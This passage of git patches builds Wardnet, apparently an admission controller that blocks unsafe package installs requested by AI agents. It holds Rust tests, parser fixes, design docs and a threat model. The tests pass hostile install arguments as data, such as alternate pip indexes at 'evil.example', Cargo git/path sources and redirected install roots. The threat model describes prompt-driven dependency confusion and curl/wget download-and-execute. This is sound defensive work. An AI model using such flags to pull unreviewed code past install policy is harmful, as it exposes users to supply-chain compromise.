https://csrc.nist.gov/Projects/ssdf/publications - ## Evidence limitations Exact SHA-256 equality detects byte changes but does not establish publisher identity, build integrity or source review. An allow receipt is consequently a Wardnet policy decision, not a general authenticity certificate. Remote attestation, transparency-log verification and metadata freshness/rollback protection remain future adapter responsibilities and must fail closed when introduced. From 1df4a2a40cf51521a946094fc1011821cb250ad2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 11:26:44 +0900 Subject: [PATCH 053/702] test(admission): reject attached pip trust/root flags --- .../tests/safety_flag_contract.rs | 67 +++++++++++++++++++ 1 file changed, 67 insertions(+) diff --git a/crates/agent-artifact-admission/tests/safety_flag_contract.rs b/crates/agent-artifact-admission/tests/safety_flag_contract.rs index c4cd1efa..d08c9771 100644 --- a/crates/agent-artifact-admission/tests/safety_flag_contract.rs +++ b/crates/agent-artifact-admission/tests/safety_flag_contract.rs @@ -24,6 +24,49 @@ fn approved_npm_policy() -> AdmissionPolicy { policy } +fn approved_pip_policy() -> AdmissionPolicy { + let mut policy = AdmissionPolicy::deny_all_for_test(); + policy.policy_id = "enterprise-default".to_string(); + policy.policy_revision = "2026-09-02.1".to_string(); + policy.allowed_executables = vec!["pip".to_string()]; + policy.approved_manifests = vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }]; + policy.approved_artifacts = vec![ApprovedArtifact { + ecosystem: "pypi".to_string(), + name: "example-package".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "Example".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "example-package==1.2.3".to_string(), + }]; + policy +} + +fn approved_pip_intent(extra_argument: &str) -> InstallIntent { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "pip".to_string(), + "install".to_string(), + "example-package==1.2.3".to_string(), + "--require-hashes".to_string(), + extra_argument.to_string(), + ]; + let artifact = intent + .artifacts + .first_mut() + .expect("test helper supplies one artifact"); + artifact.ecosystem = "pypi".to_string(); + artifact.name = "example-package".to_string(); + artifact.version = "1.2.3".to_string(); + artifact.registry_url = "https://pypi.org/simple".to_string(); + artifact.owner = "Example".to_string(); + artifact.artifact_argument = "example-package==1.2.3".to_string(); + intent +} + #[test] fn npm_boolean_overrides_cannot_reenable_install_scripts() { let policy = approved_npm_policy(); @@ -50,3 +93,27 @@ fn npm_boolean_overrides_cannot_reenable_install_scripts() { ); } } + +#[test] +fn pip_attached_short_options_cannot_escape_reviewed_install_capability() { + let policy = approved_pip_policy(); + + for (argument, expected_reason) in [ + ("-t/tmp/wardnet-test-target", "alternate_install_root"), + ("-ihttps://evil.example/simple", "alternate_trust_root"), + ("-fhttps://evil.example/wheels", "alternate_trust_root"), + ] { + let intent = approved_pip_intent(argument); + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block, "{argument}"); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == expected_reason), + "{argument}: {:?}", + decision.reason_codes + ); + } +} From 02125adf8349cfc3c7e15088c5b27549b3aecd00 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 12:17:03 +0900 Subject: [PATCH 054/702] fix(admission): reject attached short trust/root flags --- crates/agent-artifact-admission/src/policy.rs | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 7e292a98..07a1c3ea 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -414,10 +414,18 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo } fn matches_cli_flag(argument: &str, flag: &str) -> bool { - argument == flag - || argument - .strip_prefix(flag) - .is_some_and(|suffix| suffix.starts_with('=')) + if argument == flag { + return true; + } + let Some(suffix) = argument.strip_prefix(flag) else { + return false; + }; + suffix.starts_with('=') || (is_short_cli_flag(flag) && !suffix.is_empty()) +} + +fn is_short_cli_flag(flag: &str) -> bool { + let bytes = flag.as_bytes(); + bytes.len() == 2 && bytes[0] == b'-' && bytes[1] != b'-' } fn push_reason(reason_codes: &mut Vec, reason: ReasonCode) { From ffe89e3caa7c88a925b6cae36fec475e2910af47 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 12:19:49 +0900 Subject: [PATCH 055/702] docs(admission): trace pip trust and install-root controls --- docs/doctoring/agent-artifact-admission.md | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/docs/doctoring/agent-artifact-admission.md b/docs/doctoring/agent-artifact-admission.md index c4b7c624..8e1b7c19 100644 --- a/docs/doctoring/agent-artifact-admission.md +++ b/docs/doctoring/agent-artifact-admission.md @@ -13,6 +13,7 @@ Verified 2026-09-02. This note records the primary sources that justify the admi | Do not infer publisher trust from registry presence | Sigstore verifies signing identity, certificate trust and Rekor inclusion; registry naming alone is not that evidence | exact reviewed owner is a local policy assertion, not an inferred identity | | Audit before returning allow; fail closed on audit outage | SSDF supply-chain controls require protected evidence and traceable release/security practices; append-before-response prevents an unaudited authorization gap | `append_before_response`; `audit_unavailable` => block/503 | | Structured argv; no shell command strings or runtime evaluation | SSDF least-functionality and secure-development principles; removes a command-injection interpretation layer | command-shape invariants in `policy.rs` | +| Reject alternate pip package sources and install roots | pip 26.2.1 documents `-i`/`--index-url` and `-f`/`--find-links` as package-source controls and `-t`/`--target`, `--root`, and `--prefix` as installation-location controls | `requests_alternate_trust_root`, `requests_alternate_install_root`, and attached-short-option hostile regressions | | Require an unambiguous install-script suppression flag | npm documents `ignore-scripts` as a Boolean whose safe state is `true`; npm CLI Boolean options can be explicitly set back to false, so a contradictory argv must not satisfy admission merely because a safe token also appears | `has_unambiguous_boolean_safety_flag`; hostile `--ignore-scripts=false` and `--no-ignore-scripts` regressions | | Loopback-only v0.1 | minimizes exposed trust boundary until authenticated transport is owned by a separate deployment layer | `validate_service_config` and service bind validation | @@ -36,6 +37,10 @@ The TUF specification page lists v1.0.33 as latest at verification time. TUF's m Sigstore's verification flow validates an artifact signature, the signing identity bound into the certificate, the certificate chain/trust root, and Rekor transparency-log evidence. That makes it suitable as a future external publisher/integrity authority. Wardnet must not reduce those semantics to a registry-owner string or silently copy Sigstore DTOs into the domain kernel. +### pip command trust and installation roots + +The current stable pip 26.2.1 command reference defines `-i`/`--index-url` and `-f`/`--find-links` as inputs that change where package candidates are obtained. It also defines `-t`/`--target`, `--root`, and `--prefix` as controls that redirect where installation output is placed. Those are capability-expanding inputs relative to a reviewed artifact/registry/workspace intent, so Wardnet rejects them rather than silently widening an approved install. The parser recognizes both the documented short-option identity and attached short-option values; the latter is treated fail-closed because otherwise a short spelling can evade a policy that already forbids its long-form capability. + ### npm command safety npm documents `ignore-scripts` as a Boolean configuration with default `false`; when true, lifecycle scripts from package manifests are not executed. Wardnet's admission contract therefore requires the explicit safe token and rejects contradictory Boolean spellings in the same argv rather than attempting to reproduce npm's full precedence parser. This is deliberately fail-closed: the controller proves that the submitted command cannot negate the required safety flag before execution, while the executor and quarantine runtime remain responsible for environment and filesystem isolation. @@ -48,6 +53,8 @@ National Institute of Standards and Technology. (2022). *Secure software develop National Institute of Standards and Technology. (2026). *Secure Software Development Framework: Publications.* https://csrc.nist.gov/Projects/ssdf/publications +pip developers. (2026). *pip install: pip documentation v26.2.1.* https://pip.pypa.io/en/stable/cli/pip_install/ + npm, Inc. (2026). *Config: ignore-scripts.* https://docs.npmjs.com/using-npm/config/ SLSA Community. (2025). *SLSA specification: Version 1.2.* https://slsa.dev/spec/v1.2/ @@ -60,4 +67,4 @@ The Update Framework. (2026). *Specification.* https://theupdateframework.io/spe ## Evidence limitations -Exact SHA-256 equality detects byte changes but does not establish publisher identity, build integrity or source review. An allow receipt is consequently a Wardnet policy decision, not a general authenticity certificate. Remote attestation, transparency-log verification and metadata freshness/rollback protection remain future adapter responsibilities and must fail closed when introduced. +Exact SHA-256 equality detects byte changes but does not establish publisher identity, build integrity or source review. An allow receipt is consequently a Wardnet policy decision, not a general authenticity certificate. Remote attestation, transparency-log verification and metadata freshness/rollback protection remain future adapter responsibilities and must fail closed when introduced. \ No newline at end of file From 5ea6b47ad80480f71227e73bd3464fc1579e6bd0 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 15:05:21 +0900 Subject: [PATCH 056/702] test(admission): reject uv index trust-root overrides --- .../tests/install_root_contract.rs | 44 +++++++++++++++++++ 1 file changed, 44 insertions(+) diff --git a/crates/agent-artifact-admission/tests/install_root_contract.rs b/crates/agent-artifact-admission/tests/install_root_contract.rs index a86630fe..5cb0bb80 100644 --- a/crates/agent-artifact-admission/tests/install_root_contract.rs +++ b/crates/agent-artifact-admission/tests/install_root_contract.rs @@ -106,6 +106,29 @@ fn uv_environment_selection_cannot_escape_the_broker_selected_install_root() { } } +#[test] +fn uv_index_selection_cannot_override_the_approved_registry() { + for extra_arguments in [ + vec!["--index", "https://packages.example.invalid/simple"], + vec!["--index=https://packages.example.invalid/simple"], + vec!["--default-index", "https://packages.example.invalid/simple"], + vec!["--default-index=https://packages.example.invalid/simple"], + ] { + let mut arguments = vec!["pip", "install", "cwl-example==1.2.3", "--require-hashes"]; + arguments.extend(extra_arguments); + let (policy, intent, label) = install_case( + "uv", + "pypi", + "cwl-example", + "cwl-example==1.2.3", + "https://pypi.org/simple", + &arguments, + ); + + assert_alternate_trust_root_blocked(&policy, &intent, &label); + } +} + #[test] fn cargo_inline_configuration_cannot_override_install_root() { for extra_arguments in [ @@ -187,6 +210,27 @@ fn assert_alternate_root_blocked(policy: &AdmissionPolicy, intent: &InstallInten ); } +fn assert_alternate_trust_root_blocked( + policy: &AdmissionPolicy, + intent: &InstallIntent, + label: &str, +) { + let decision = admission_decision(policy, intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{label} must not replace or supplement the reviewed artifact registry" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "{label} must produce the stable alternate_trust_root reason" + ); +} + fn install_case( executable: &str, ecosystem: &str, From 7368cc08f8e852cb52ffc9d827ef63b6f31bd1b8 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 15:07:59 +0900 Subject: [PATCH 057/702] fix(admission): block uv and cargo destination overrides --- crates/agent-artifact-admission/src/policy.rs | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 07a1c3ea..8c601dea 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -369,6 +369,8 @@ fn requests_alternate_trust_root(arguments: &[String]) -> bool { const FORBIDDEN_FLAGS: &[&str] = &[ "--extra-index-url", "--index-url", + "--index", + "--default-index", "--trusted-host", "--find-links", "--registry", @@ -406,9 +408,18 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo && arguments .get(1) .is_some_and(|argument| argument == "install") - && contains_flag(&["--user", "--target", "-t", "--root", "--prefix"]) + && contains_flag(&[ + "--user", + "--target", + "-t", + "--root", + "--prefix", + "--system", + "--python", + "-p", + ]) } - "cargo" => contains_flag(&["--root"]), + "cargo" => contains_flag(&["--root", "--config"]), _ => false, } } @@ -498,4 +509,4 @@ pub fn sha256_hex(input: &[u8]) -> String { let _ = write!(&mut output, "{byte:02x}"); } output -} \ No newline at end of file +} From cb8006257a27cd93a786f93a3d9575cc232ba0c0 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 15:11:01 +0900 Subject: [PATCH 058/702] docs(admission): trace uv and cargo override controls --- docs/doctoring/agent-artifact-admission.md | 22 ++++++++++++++++++++-- 1 file changed, 20 insertions(+), 2 deletions(-) diff --git a/docs/doctoring/agent-artifact-admission.md b/docs/doctoring/agent-artifact-admission.md index 8e1b7c19..15cda780 100644 --- a/docs/doctoring/agent-artifact-admission.md +++ b/docs/doctoring/agent-artifact-admission.md @@ -14,6 +14,8 @@ Verified 2026-09-02. This note records the primary sources that justify the admi | Audit before returning allow; fail closed on audit outage | SSDF supply-chain controls require protected evidence and traceable release/security practices; append-before-response prevents an unaudited authorization gap | `append_before_response`; `audit_unavailable` => block/503 | | Structured argv; no shell command strings or runtime evaluation | SSDF least-functionality and secure-development principles; removes a command-injection interpretation layer | command-shape invariants in `policy.rs` | | Reject alternate pip package sources and install roots | pip 26.2.1 documents `-i`/`--index-url` and `-f`/`--find-links` as package-source controls and `-t`/`--target`, `--root`, and `--prefix` as installation-location controls | `requests_alternate_trust_root`, `requests_alternate_install_root`, and attached-short-option hostile regressions | +| Reject uv index and environment overrides | uv documents `--index`/`--default-index` as command-line package-index selectors, `--python` as an arbitrary target-environment selector, and `--system` as permission to mutate system Python | `requests_alternate_trust_root`, `requests_alternate_install_root`, `uv_index_selection_cannot_override_the_approved_registry`, and `uv_environment_selection_cannot_escape_the_broker_selected_install_root` | +| Reject Cargo install-root and inline configuration overrides | Cargo documents `--root` and the `install.root` config value as installation-root authorities and `--config KEY=VALUE or PATH` as a command-line configuration override | `requests_alternate_install_root` plus `cargo_inline_configuration_cannot_override_install_root` | | Require an unambiguous install-script suppression flag | npm documents `ignore-scripts` as a Boolean whose safe state is `true`; npm CLI Boolean options can be explicitly set back to false, so a contradictory argv must not satisfy admission merely because a safe token also appears | `has_unambiguous_boolean_safety_flag`; hostile `--ignore-scripts=false` and `--no-ignore-scripts` regressions | | Loopback-only v0.1 | minimizes exposed trust boundary until authenticated transport is owned by a separate deployment layer | `validate_service_config` and service bind validation | @@ -41,21 +43,37 @@ Sigstore's verification flow validates an artifact signature, the signing identi The current stable pip 26.2.1 command reference defines `-i`/`--index-url` and `-f`/`--find-links` as inputs that change where package candidates are obtained. It also defines `-t`/`--target`, `--root`, and `--prefix` as controls that redirect where installation output is placed. Those are capability-expanding inputs relative to a reviewed artifact/registry/workspace intent, so Wardnet rejects them rather than silently widening an approved install. The parser recognizes both the documented short-option identity and attached short-option values; the latter is treated fail-closed because otherwise a short spelling can evade a policy that already forbids its long-form capability. +### uv package indexes and install environments + +uv's package-index documentation states that command-line indexes take precedence over configured indexes and exposes `--index` and `--default-index` as index-selection controls. Its environment documentation states that `uv pip install --python /path/to/python` can install into an arbitrary environment and that `--system` opts into modifying system Python. Those controls change the trust root or destination selected by the broker-reviewed install intent. Wardnet therefore blocks them instead of assuming that an approved artifact coordinate is sufficient after the submitted command changes where candidates are obtained or where they are installed. + +### Cargo install configuration + +Cargo's `cargo install` documentation defines the install-root precedence as `--root`, `CARGO_INSTALL_ROOT`, `install.root`, `CARGO_HOME`, then the default Cargo home. Cargo's common command options also define `--config KEY=VALUE or PATH` as a command-line configuration override. Because an admission request must not replace the broker-selected installation destination or inject unreviewed Cargo configuration, Wardnet rejects both `--root` and `--config` in the admitted `cargo install` command. The executor or quarantine runtime may establish its own controlled Cargo environment outside this submitted argv boundary. + ### npm command safety npm documents `ignore-scripts` as a Boolean configuration with default `false`; when true, lifecycle scripts from package manifests are not executed. Wardnet's admission contract therefore requires the explicit safe token and rejects contradictory Boolean spellings in the same argv rather than attempting to reproduce npm's full precedence parser. This is deliberately fail-closed: the controller proves that the submitted command cannot negate the required safety flag before execution, while the executor and quarantine runtime remain responsible for environment and filesystem isolation. ## APA 7 references +Astral Software, Inc. (2026). *Package indexes: uv documentation.* https://docs.astral.sh/uv/configuration/indexes/ + +Astral Software, Inc. (2026). *Using environments: uv documentation.* https://docs.astral.sh/uv/pip/environments/ + Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A National Institute of Standards and Technology. (2022). *Secure software development framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 National Institute of Standards and Technology. (2026). *Secure Software Development Framework: Publications.* https://csrc.nist.gov/Projects/ssdf/publications +npm, Inc. (2026). *Config: ignore-scripts.* https://docs.npmjs.com/using-npm/config/ + pip developers. (2026). *pip install: pip documentation v26.2.1.* https://pip.pypa.io/en/stable/cli/pip_install/ -npm, Inc. (2026). *Config: ignore-scripts.* https://docs.npmjs.com/using-npm/config/ +Rust Project Developers. (2026). *cargo install: The Cargo Book.* https://doc.rust-lang.org/stable/cargo/commands/cargo-install.html + +Rust Project Developers. (2026). *Configuration: The Cargo Book.* https://doc.rust-lang.org/cargo/reference/config.html SLSA Community. (2025). *SLSA specification: Version 1.2.* https://slsa.dev/spec/v1.2/ @@ -67,4 +85,4 @@ The Update Framework. (2026). *Specification.* https://theupdateframework.io/spe ## Evidence limitations -Exact SHA-256 equality detects byte changes but does not establish publisher identity, build integrity or source review. An allow receipt is consequently a Wardnet policy decision, not a general authenticity certificate. Remote attestation, transparency-log verification and metadata freshness/rollback protection remain future adapter responsibilities and must fail closed when introduced. \ No newline at end of file +Exact SHA-256 equality detects byte changes but does not establish publisher identity, build integrity or source review. An allow receipt is consequently a Wardnet policy decision, not a general authenticity certificate. Remote attestation, transparency-log verification and metadata freshness/rollback protection remain future adapter responsibilities and must fail closed when introduced. From a9ec111e2f0780ca6149db51f3d1ce1d299dc824 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 15:14:42 +0900 Subject: [PATCH 059/702] test(admission): reject Cargo source overrides --- .../tests/install_root_contract.rs | 23 +++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/crates/agent-artifact-admission/tests/install_root_contract.rs b/crates/agent-artifact-admission/tests/install_root_contract.rs index 5cb0bb80..9f8b6124 100644 --- a/crates/agent-artifact-admission/tests/install_root_contract.rs +++ b/crates/agent-artifact-admission/tests/install_root_contract.rs @@ -129,6 +129,29 @@ fn uv_index_selection_cannot_override_the_approved_registry() { } } +#[test] +fn cargo_source_selection_cannot_override_the_approved_registry() { + for extra_arguments in [ + vec!["--git", "https://example.invalid/unreviewed.git"], + vec!["--git=https://example.invalid/unreviewed.git"], + vec!["--path", "/tmp/unreviewed-crate"], + vec!["--path=/tmp/unreviewed-crate"], + ] { + let mut arguments = vec!["install", "cwl-example@1.2.3", "--locked"]; + arguments.extend(extra_arguments); + let (policy, intent, label) = install_case( + "cargo", + "cargo", + "cwl-example", + "cwl-example@1.2.3", + "https://crates.io", + &arguments, + ); + + assert_alternate_trust_root_blocked(&policy, &intent, &label); + } +} + #[test] fn cargo_inline_configuration_cannot_override_install_root() { for extra_arguments in [ From 5c1725d2e44c996d96ce37c500943818d9232c17 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 15:15:40 +0900 Subject: [PATCH 060/702] fix(admission): reject Cargo git and path sources --- crates/agent-artifact-admission/src/policy.rs | 2 ++ 1 file changed, 2 insertions(+) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 8c601dea..4412dfb4 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -375,6 +375,8 @@ fn requests_alternate_trust_root(arguments: &[String]) -> bool { "--find-links", "--registry", "--registry-url", + "--git", + "--path", "-i", "-f", ]; From a216aa1d496e11dbf8cc382550e16bd78302609a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 15:16:36 +0900 Subject: [PATCH 061/702] docs(admission): trace Cargo source selectors --- docs/doctoring/agent-artifact-admission.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/doctoring/agent-artifact-admission.md b/docs/doctoring/agent-artifact-admission.md index 15cda780..cb4ddaef 100644 --- a/docs/doctoring/agent-artifact-admission.md +++ b/docs/doctoring/agent-artifact-admission.md @@ -15,7 +15,7 @@ Verified 2026-09-02. This note records the primary sources that justify the admi | Structured argv; no shell command strings or runtime evaluation | SSDF least-functionality and secure-development principles; removes a command-injection interpretation layer | command-shape invariants in `policy.rs` | | Reject alternate pip package sources and install roots | pip 26.2.1 documents `-i`/`--index-url` and `-f`/`--find-links` as package-source controls and `-t`/`--target`, `--root`, and `--prefix` as installation-location controls | `requests_alternate_trust_root`, `requests_alternate_install_root`, and attached-short-option hostile regressions | | Reject uv index and environment overrides | uv documents `--index`/`--default-index` as command-line package-index selectors, `--python` as an arbitrary target-environment selector, and `--system` as permission to mutate system Python | `requests_alternate_trust_root`, `requests_alternate_install_root`, `uv_index_selection_cannot_override_the_approved_registry`, and `uv_environment_selection_cannot_escape_the_broker_selected_install_root` | -| Reject Cargo install-root and inline configuration overrides | Cargo documents `--root` and the `install.root` config value as installation-root authorities and `--config KEY=VALUE or PATH` as a command-line configuration override | `requests_alternate_install_root` plus `cargo_inline_configuration_cannot_override_install_root` | +| Reject Cargo source, install-root and inline configuration overrides | Cargo documents `--git`, `--path`, `--registry`, and `--index` as package-source selectors, `--root`/`install.root` as installation-root authorities, and `--config KEY=VALUE or PATH` as a command-line configuration override | `requests_alternate_trust_root`, `requests_alternate_install_root`, `cargo_source_selection_cannot_override_the_approved_registry`, and `cargo_inline_configuration_cannot_override_install_root` | | Require an unambiguous install-script suppression flag | npm documents `ignore-scripts` as a Boolean whose safe state is `true`; npm CLI Boolean options can be explicitly set back to false, so a contradictory argv must not satisfy admission merely because a safe token also appears | `has_unambiguous_boolean_safety_flag`; hostile `--ignore-scripts=false` and `--no-ignore-scripts` regressions | | Loopback-only v0.1 | minimizes exposed trust boundary until authenticated transport is owned by a separate deployment layer | `validate_service_config` and service bind validation | @@ -47,9 +47,9 @@ The current stable pip 26.2.1 command reference defines `-i`/`--index-url` and ` uv's package-index documentation states that command-line indexes take precedence over configured indexes and exposes `--index` and `--default-index` as index-selection controls. Its environment documentation states that `uv pip install --python /path/to/python` can install into an arbitrary environment and that `--system` opts into modifying system Python. Those controls change the trust root or destination selected by the broker-reviewed install intent. Wardnet therefore blocks them instead of assuming that an approved artifact coordinate is sufficient after the submitted command changes where candidates are obtained or where they are installed. -### Cargo install configuration +### Cargo package sources and install configuration -Cargo's `cargo install` documentation defines the install-root precedence as `--root`, `CARGO_INSTALL_ROOT`, `install.root`, `CARGO_HOME`, then the default Cargo home. Cargo's common command options also define `--config KEY=VALUE or PATH` as a command-line configuration override. Because an admission request must not replace the broker-selected installation destination or inject unreviewed Cargo configuration, Wardnet rejects both `--root` and `--config` in the admitted `cargo install` command. The executor or quarantine runtime may establish its own controlled Cargo environment outside this submitted argv boundary. +Cargo's `cargo install` documentation states that crates.io is the default package source while `--git`, `--path`, and `--registry` change that source; it separately exposes `--index` as a registry-index URL. The same command defines install-root precedence through `--root`, `CARGO_INSTALL_ROOT`, `install.root`, `CARGO_HOME`, then the default Cargo home, and Cargo's common options define `--config KEY=VALUE or PATH` as a command-line configuration override. Wardnet therefore rejects submitted source selectors (`--git`, `--path`, `--registry`, `--index`), `--root`, and `--config`: the reviewed artifact coordinate and destination remain the admission authority instead of being silently replaced by command arguments. The executor or quarantine runtime may establish controlled Cargo configuration outside this submitted argv boundary. ### npm command safety From 73fa6a494469c2450ea8e09b7614efe1678cfe6e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 15:21:15 +0900 Subject: [PATCH 062/702] docs(changelog): record agent artifact admission controls --- CHANGELOG.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 83d80680..b625c964 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,9 +4,12 @@ ### Security +- Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. +- Hardened package-manager command admission so approved artifacts cannot be widened through alternate package sources or destinations: pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm-family global/prefix/location controls, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. ### Operations +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, and package-manager trust/destination controls with current primary-source traceability. - Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. From 3875e00e9c25af27aed1b8fd351f87c9c1aa5d27 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 15:21:48 +0900 Subject: [PATCH 063/702] docs(threat-model): define package source and digest boundary --- .../security/agent-artifact-admission-threat-model.md | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index 95fa6783..a31ccf89 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -25,8 +25,9 @@ The credential file, policy/configuration file and audit file are local deployme | Prompt-to-code dependency confusion | Untrusted text names an attacker-controlled or newly claimed package | Exact reviewed ecosystem/name/version/registry/owner/digest match; source text has no authority | `decision=block` | | Unpinned or mutable dependency | Version range, missing digest or changed artifact is admitted | Exact version and SHA-256 are mandatory | `decision=block` | | Registry substitution | Look-alike or alternate registry serves a package with the same name | Exact HTTPS registry identity is part of the approved artifact coordinate | `decision=block` | +| Package-source override | An otherwise approved package coordinate is combined with a command-line alternate index, registry, Git URL or local path so the package manager resolves from an unreviewed source | Reject package-manager trust-root/source selectors such as pip/uv alternate indexes and Cargo registry/index/Git/path overrides before returning `allow` | `decision=block`, reason `alternate_trust_root` | | Direct download-and-execute | Agent bypasses package policy using curl/wget/shell/runtime evaluation | Structured `argv`; shells, direct downloaders, package executors and runtime inline evaluation remain blocked by invariant | `decision=block` | -| Alternate install-root escape | An otherwise approved package-manager command adds global, user, prefix, target or root flags so writes escape the broker-selected workspace boundary | Reject explicit package-manager install-root overrides before returning `allow`; runtime filesystem isolation remains the execution broker/quarantine responsibility | `decision=block`, reason `alternate_install_root` | +| Alternate install-root escape | An otherwise approved package-manager command adds global, user, prefix, target, root, system or arbitrary-environment flags so writes escape the broker-selected workspace boundary | Reject explicit package-manager install-root/environment overrides before returning `allow`; runtime filesystem isolation remains the execution broker/quarantine responsibility | `decision=block`, reason `alternate_install_root` | | Malformed or missing provenance | Remote instruction source lacks HTTPS or content digest | Strict source-kind validation and SHA-256 requirement | `400` with audited block receipt | | Authentication bypass | Caller omits, duplicates or manipulates the admin token | One bounded visible-ASCII token from the credentials file; constant-time comparison; no environment-variable secret path | `401` | | Oversized request | Memory/CPU pressure or parser bypass using excessive body size | Axum body limit plus bounded configuration | `413`, and the rejection must be audited before response | @@ -40,7 +41,7 @@ The credential file, policy/configuration file and audit file are local deployme A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, or reinterpret an approved workspace install as permission to write into a global/user/alternate install root. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root, or reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, or local path. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -50,11 +51,11 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. -- Package-manager destination overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate-root flags, while the downstream execution broker/quarantine runtime still owns actual filesystem, mount and process isolation. +- Package-manager source and destination overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources and alternate install roots/environments, while the downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount and process isolation. ## Residual risk and future adapters -SHA-256 equality proves byte identity, not publisher trust. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit alternate-root flags narrows the command capability but does not substitute for that runtime isolation boundary. +SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved 